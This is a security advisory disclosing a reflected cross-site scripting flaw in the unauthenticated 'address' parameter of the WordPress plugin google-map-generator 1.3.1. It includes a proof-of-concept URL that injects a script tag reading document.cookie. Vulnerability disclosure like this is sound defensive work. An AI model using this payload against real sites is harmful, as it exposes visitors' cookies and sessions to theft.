wp-plugin : google-map-generator – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : google-map-generator

 

Effected Version : 1.3.1 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Anant Shrivastava

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 
http://localhost/wp-content/plugins/google-map-generator/google-map.php?address="><script>alert(document.cookie)</script>&

 

Vulnerable Parameter : address

 

Type of XSS : Reflected

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-05

 
Plugin Status : Closed
 
Public Disclosure : July 7, 2014
 
CVE Number : Not assigned yet

 
Plugin Description :
 
Using this plugin you can embed google map inside the post or link google map with a link as a popup. example: embed google map {gmap|address|width|height} , popup google map <a href="{gmap_link|address|width|height}">Link Label</a> .

eaxmple: {gmap|Athens, Greece|400|200}
or
<a href="{gmap_link|Athens, Greece|400|200}">Map of Athens, Greece</a>

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